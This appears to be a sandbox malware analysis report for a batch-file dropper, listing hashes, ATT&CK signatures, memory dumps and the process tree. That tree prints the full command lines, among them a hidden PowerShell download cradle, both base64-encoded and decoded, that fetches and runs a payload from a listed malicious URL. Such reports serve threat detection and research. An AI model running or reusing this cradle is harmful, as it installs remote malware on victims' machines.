Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09-01-2025 00:41

General

  • Target

    initial_d.bat

  • Size

    838B

  • MD5

    b8c74b6c596351ca5bd46c0bb6e98dfd

  • SHA1

    6cb4b41a78059c30be91f2464bf790244a1c99d7

  • SHA256

    babe2715fa636ffaf699ed8176d8ca007b94defdc2ed41fb138803c8847094f4

  • SHA512

    22b256cb20232d00c9e2085a6d54404f3a2a2167931a637e4880054ac75605d15c38f004a69038e70366bd145c755aafef2047b79c7ab72e61566364a1df9610

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://s7.klipdywoziy.shop/hukk7.jpeg

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\initial_d.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Windows\system32\cmd.exe
      cmd.exe /k start powershell -w 1 powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2728
          • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2916

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    bd425134fabc4598a1d7774fc1697a87

    SHA1

    b893b35ca9b2d797f658a2ad1e4b62573c9154f7

    SHA256

    648c31eefca5a4ce8391131578e3865b99b914c994e72b467e9bb3ca41e7c989

    SHA512

    8197fb3b2c3c802e029c0b73970cf630ca0a0d7bd3fa57afb4e8b1183089fe73c1f58b584c253c5570661bdfb3274235cd658afdf2c60be88fedac6efe4c5f1e

  • memory/2744-4-0x000007FEF5D8E000-0x000007FEF5D8F000-memory.dmp

    Filesize

    4KB

  • memory/2744-5-0x000000001B680000-0x000000001B962000-memory.dmp

    Filesize

    2.9MB

  • memory/2744-6-0x0000000001E70000-0x0000000001E78000-memory.dmp

    Filesize

    32KB

  • memory/2744-7-0x000007FEF5AD0000-0x000007FEF646D000-memory.dmp

    Filesize

    9.6MB

  • memory/2744-13-0x000007FEF5AD0000-0x000007FEF646D000-memory.dmp

    Filesize

    9.6MB

  • memory/2744-16-0x000007FEF5AD0000-0x000007FEF646D000-memory.dmp

    Filesize

    9.6MB